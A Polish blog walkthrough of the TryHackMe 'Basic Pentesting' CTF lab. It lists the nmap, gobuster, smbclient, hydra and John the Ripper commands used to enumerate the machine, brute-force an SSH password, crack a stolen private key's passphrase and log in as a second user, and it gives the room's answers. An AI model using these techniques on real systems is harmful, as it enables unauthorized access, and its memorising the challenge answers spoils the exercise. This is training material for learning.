THM - Basic Pentesting


Ostatnio wziąłem udział w wyzwaniu CTF (
Capture The Flag) - Basic Pentesting na stronie Try Hack Me (https://tryhackme.com/room/basicpentestingjt). Wyzwanie ma na celu nauczenie brutal force, hash cracking, service enumeration i Linux enumeration. 

Mój sposób nie jest jedyną drogą do uzyskania rozwiązań poszczególnych zadań w wyzwaniu.
W wyzwaniu użyłem następujących narzędzi: nmap, gobuster, hydra i john the ripper

Rozwiązanie pokazane jest w filmie opublikowanym na stronie i podaję link: https://www.youtube.com/watch?v=xl2Xx5YOKcI. Jednak proponuję zmierzyć się samemu.

Zadania:

1. Wdróż maszynę i połącz się z naszą siecią

Klikamy 'Start Machine'. Musimy odczekać od 3 do 5 minut na pełne uruchomienie.

2. Znajdź usługi udostępniane przez maszynę

Zaczynamy od skanowania maszyny i otrzymanie listy otwartych portów

nmap -sV -sC {adres_maszyny}

otrzymujemy informacje o znalezionych portach:

SSH at port 22

HTTP at port 80

SAMBA at port 139 & 445

3. Jak nazywa się ukryty katalog na serwerze WWW (wpisz nazwę bez /)?

W tym zadaniu przyda się gobuster i odpytanie adresu maszyny, gdyż wcześniej skanując wiemy, że mamy stronę internetową 

gobuster dir -u {adres_maszyny} -w /usr/share/wordlists/dirb/common.txt 

otrzymujemy informacje o znalezionych katalogach

/.hta (Status: 403)

/.htaccess (Status: 403)

/.htpasswd (Status: 403)

/development (Status: 301) -> katalog szukany

/index.html (Status: 200)

/server-status (Status: 403)

4. Brute-forsowanie użytkownika w celu znalezienia nazwy użytkownika i hasła

Przeglądnięcie zawartości katalogu /development za pomocą przeglądarki, gdzie znajdują się dwa pliki dev.txt i j.txt

nmap {adres_maszyny} --script=smb-enum* -oN smb-enum.nmap 

w celu znalezienia podatności, w wynikach widzimy, że dostęp jest możliwy

za pomocą konta anonymous bez podawania hasła

smbclient //{adres_maszyny}/anonymous 

dostęp do jednego pliku staff.txt, pobieramy go poleceniem get staff.txt z wiadomości dowiadujemy się, że nazwy użytkowników to Jan i Kay

5. Jaka jest nazwa użytkownika?

jan

6. Jakie jest hasło?

hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://{adres_maszyny}

armando <- hasło

7. Z jakiej usługi korzystasz, aby uzyskać dostęp do serwera (odpowiedź w skrócie wielkimi literami)?

ssh

ssh jan@{adres_maszyny}

i przeglądamy katalog użytkownika jan

8. Wylicz maszynę, aby znaleźć wektory eskalacji uprawnień

przeglądnięcie zawartości katalogu /home, wejście do katalogu /kay i przeglądniecie go. ciekawy jest ukryty katalog .ssh

w którym znajdujemy klucz prywatny id_rsa , kopiujemy go do własnego katalogu, następnie łamiemy

python3 /opt/john/ssh2john.py id_rsa.txt > decrypted.txt

john --wordlist=/usr/share/wordlists/rockyou.txt decrypted.txt

fraza do klucza to : beeswax

9. Jak nazywa się drugi znaleziony użytkownik (małe litery)?

kay

10. Jeśli znalazłeś innego użytkownika, co możesz zrobić z tymi informacjami?

podłączamy się do serwera za pomocą ssh, wykorzystując klucz prywatny i frazę do klucza

ssh -i id_rsa.txt kay@{adres_maszyny}

11. Jakie jest ostateczne hasło, które otrzymujesz?

listujemy katalogu użytkownika kay

ls -al

i otwieramy widoczny tam plik pass.bak

cat pass.bak

i mamy hasełko : heresareallystrongpasswordthatfollowsthepasswordpolicy$$

Koniec wyzwania. Kolejne spróbuje w miarę rozwiązywań publikować.

Komentarze

Popularne posty z tego bloga

[text] Konfiguracja SSL VPN Stormshield oparta o OpenVPN dla xUbuntu 16.10